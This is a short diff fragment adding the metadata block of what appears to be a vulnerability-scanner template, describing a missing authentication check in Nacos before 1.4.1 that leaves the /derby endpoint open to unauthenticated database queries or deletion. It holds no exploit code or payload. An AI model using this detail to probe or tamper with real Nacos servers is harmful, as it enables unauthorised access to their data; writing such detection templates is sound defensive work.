+info:
+  name: Nacos prior to 1.4.1 Missing Authentication Check
+  description: |
+    In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out.
+    While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users.
+    These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
